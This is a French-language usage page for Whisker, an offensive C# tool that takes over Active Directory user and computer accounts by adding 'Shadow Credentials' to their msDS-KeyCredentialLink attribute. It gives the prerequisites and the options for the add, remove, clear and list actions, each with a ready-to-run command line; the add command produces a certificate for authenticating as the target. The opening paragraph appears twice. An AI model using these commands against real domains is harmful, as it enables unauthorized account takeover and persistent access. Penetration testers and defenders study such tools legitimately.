
Whisker est un outil C# permettant de prendre le contrôle de comptes d'utilisateurs et d'ordinateurs Active Directory en manipulant leur attribut msDS-KeyCredentialLink, ajoutant ainsi des "Shadow Credentials" au compte cible.
Whisker est un outil C# permettant de prendre le contrôle de comptes d'utilisateurs et d'ordinateurs Active Directory en manipulant leur attribut msDS-KeyCredentialLink, ajoutant ainsi des « Shadow Credentials » au compte cible.
Cet outil est basé sur le code de DSInternals par Michael Grafnetter (@MGrafnetter).
Pour que cette attaque réussisse, l'environnement doit disposer d'un contrôleur de domaine exécutant au moins Windows Server 2016, et le contrôleur de domaine doit posséder un certificat d'authentification de serveur pour permettre l'authentification Kerberos PKINIT.
Plus de détails sont disponibles dans l'article Shadow Credentials: Abusing Key Trust Account Mapping for Takeover.

/target:<samAccountName> : Requis. Définit le nom de la cible. Les objets ordinateur doivent se terminer par un signe '$'.
/domain:<FQDN> : Optionnel. Définit le nom de domaine complet (FQDN) de la cible. S'il n'est pas fourni, tentera de résoudre le FQDN de l'utilisateur actuel.
/dc:<IP/HOSTNAME> : Optionnel. Définit le contrôleur de domaine (DC) cible. S'il n'est pas fourni, tentera de cibler le contrôleur de domaine principal (PDC).
/path:<PATH> : Optionnel. Définit le chemin pour stocker le certificat auto-signé généré pour l'authentification. S'il n'est pas fourni, le certificat sera affiché sous forme d'un blob Base64.
/password:<PASWORD> : Optionnel. Définit le mot de passe pour le certificat auto-signé stocké. S'il n'est pas fourni, un mot de passe aléatoire sera généré.
Exemple : Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1
/target:<samAccountName> : Requis. Définit le nom de la cible. Les objets ordinateur doivent se terminer par un signe '$'.
/deviceID:<GUID> : Requis. Définit le DeviceID de la valeur à supprimer de l'attribut msDS-KeyCredentialLink de l'objet cible. Doit être un GUID valide.
/domain:<FQDN> : Optionnel. Définit le nom de domaine complet (FQDN) de la cible. S'il n'est pas fourni, tentera de résoudre le FQDN de l'utilisateur actuel.
/dc:<IP/HOSTNAME> : Optionnel. Définit le contrôleur de domaine (DC) cible. S'il n'est pas fourni, tentera de cibler le contrôleur de domaine principal (PDC).
Exemple : Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /deviceid:2de4643a-2e0b-438f-a99d-5cb058b3254b
/target:<samAccountName> : Requis. Définit le nom de la cible. Les objets ordinateur doivent se terminer par un signe '$'.
/domain:<FQDN> : Optionnel. Définit le nom de domaine complet (FQDN) de la cible. S'il n'est pas fourni, tentera de résoudre le FQDN de l'utilisateur actuel.
/dc:<IP/HOSTNAME> : Optionnel. Définit le contrôleur de domaine (DC) cible. S'il n'est pas fourni, tentera de cibler le contrôleur de domaine principal (PDC).
Exemple : Whisker.exe clear /target:computername$ /domain:constoso.local /dc:dc1.contoso.local
⚠️ Avertissement : Effacer l'attribut msDS-KeyCredentialLink des comptes configurés pour une authentification sans mot de passe entraînera des perturbations.
/target:<samAccountName> : Requis. Définit le nom de la cible. Les objets ordinateur doivent se terminer par un signe '$'.
/domain:<FQDN> : Optionnel. Définit le nom de domaine complet (FQDN) de la cible. S'il n'est pas fourni, tentera de résoudre le FQDN de l'utilisateur actuel.
/dc:<IP/HOSTNAME> : Optionnel. Définit le contrôleur de domaine (DC) cible. S'il n'est pas fourni, tentera de cibler le contrôleur de domaine principal (PDC).
Exemple : Whisker.exe list /target:computername$ /domain:constoso.local /dc:dc1.contoso.local